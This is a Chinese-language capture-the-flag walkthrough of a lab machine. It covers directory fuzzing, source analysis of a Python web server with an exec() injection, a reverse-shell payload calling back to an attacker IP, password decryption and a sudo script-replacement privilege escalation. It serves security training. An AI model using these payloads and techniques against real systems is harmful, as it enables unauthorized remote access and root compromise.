一、信息收集

1.端口扫描

使用nmap进行端口扫描，发现其开放了22、80、8080、9000端口。

访问其8080端口，发现是一个web界面。

浏览页面内容，提升有一些提示。

提示存在一个py脚本，访问看看。

发现提示是404

2.目录爆破

使用gobuster进行目录爆破。

gobuster dir-u http://10.10.10.168:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt ，发现都是404.

3.使用wfuzz进行fuzz

由于我们不知道文件存放在那个具体路径下，所以将使用wfuzzurl 来定位http://10.10.10.168:8080/FUZZ/SuperSecureServer.py其路径。

wfuzz -c-w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py --hl 6 --hw 367

发现它在/developer目录之下。

访问看看。成功看到脚本内容。

4.代码分析

将源码copy出来，然后进行分析。

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the received data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

在翻译源码过程中，第一眼就看到了注释的地方。就想到了exec函数。

根据 This is how you do string formatting, right?，的意思：不，这不是您进行字符串格式化的方式。path将用户输入 ( )传递给exec总是很危险的。我开始翻阅代码，看看是否可以控制path它何时进入serveDoc.

def handleRequest(self, request, conn, address):
    if request.good:
        document = self.serveDoc(request.doc, DOC_ROOT)
        statusNum=document["status"]
    else:
        document = self.serveDoc("/errors/400.html", DOC_ROOT)
        statusNum="400"
    body = document["body"]

还有这句注释：Set the response to echo back the received data，然后开始读源码。如果这request.good为真，我会失去控制，path被硬编码为"/errors/400.html".

handleRequest从以下位置调用listenToClient：

def listenToClient(self, client, address):
    size = 1024
    while True:
        try:
            data = client.recv(size)
            if data:
                # Set the response to echo back the received data 
                req = Request(data.decode())
                self.handleRequest(req, client, address)
                client.shutdown()
                client.close()
            else:
                raise error('Client disconnected')
        except:
            client.close()
            return False

这是一个循环，它接收数据，处理成一个Request对象，然后调用handleRequest ，条件就是该Request对象.good是真，并且.doc是我的测试代码。

该类Request将数据转换为对象__init__：

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}

只要数据具有带有 url、版本、标题和正文等正常格式，它就会返回self.good = True. 而且，这doc就是 url 字符串中的内容，是可控的。

二、漏洞利用

当exec在该字符串上调用时，它会保存output，但也会进行os.system调用。如果我想使用subprocess而不是运行进程os，我需要这样做。/';os.system('ping%20-c%201%2010.10.10.168');'

1.编写poc

http://10.10.10.168:8080/';importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.140",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc开始监听1234端口

2.反弹shell

进入home目录下，发现存在一个SuperSecureCrypt.py脚本，使用-h命令会提示其用法。

还有一些pass.txt,check.txt等。

使用python获得交互式shell，python3 -c 'import pty; pty.spawn("/bin/bash")'

3.获取登录密码

在BetterSSH目录下，存在解密脚本check.txt、out.txt及passwordreminder.txt。

使用脚本来获取登录密码

python3 SuperSecureCrypt.py -i passwordreminder.txt -d-k alexandrovich -o /dev/shm/.df

成功获取到登录密码。

4.SSH登录

使用ssh进行远程登录。

成功找到了第一个user.txt文件。

三、权限提升

sudo -l 发现了存在BetterSSH.py可执行root.

1.脚本分析

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

这个脚本：

• 创建一个随机路径名。
• 从用户那里读取用户名和密码。
• 读取/etc/shadow、提取包含 的行$并将其写入/tmp/SSH/[random path].
• 睡眠 0.1 秒。
• 循环修剪文件中的每一行shadow，并根据输入密码的哈希检查每个哈希。成功时，它设置session['authenticated'] = 1. 失败时，它会删除临时shadow文件并退出。
• 删除临时shadow文件。
• 进入读取命令、执行命令并显示结果的无限循环。

2.创建一个/tmp/SSH目录，必须是大写，小写的会报错。

输入之前获取到的用户和密码。使用sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py执行脚本。

出现Authed，然后退出。

2.移动BetterSSH 目录进行权限提升

使用ls -ld robert进行查看其权限，同理也查看一下BetterSSH的。

我的思路就是打算删除这个目录，然后重新创建一个，写入提权的脚本。

使用rm -rf 强制删除，提升权限不够。这里有一个小trips，我们不能删除，我们可以将它进行移动。然后在创建一个新的。使用mv BetterSSH{,-old}来完成操作。

然后mkdir创建新的目录。使用echo写入提权语法。最后使用sudo执行脚本。

echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("bash")'
echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("bash")' > BetterSSH/BetterSSH.py 
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

3.获得root权限

成功获得root权限，并最后找到了root.txt，成功完成靶机。

总结：

靶机难度属于中等靶机水平，全文思路就是信息收集，使用nmap或者masscan进行端口扫描，访问web页面，发现提示，接着使用wfuzz进行指定路径fuzz。然后找到py脚本，接着进行脚本分析，发现脚本存在的漏洞。构造poc然后进行反弹shell，反弹shell之后，发现存在另一个新的脚本，存在密码加密方式和密码本。进行解密，解密之后使用ssh进行远程登录。使用sudo -l发现xx路径下的python脚本拥有root权限，接着进行移动该目录写入提权语法成功提权。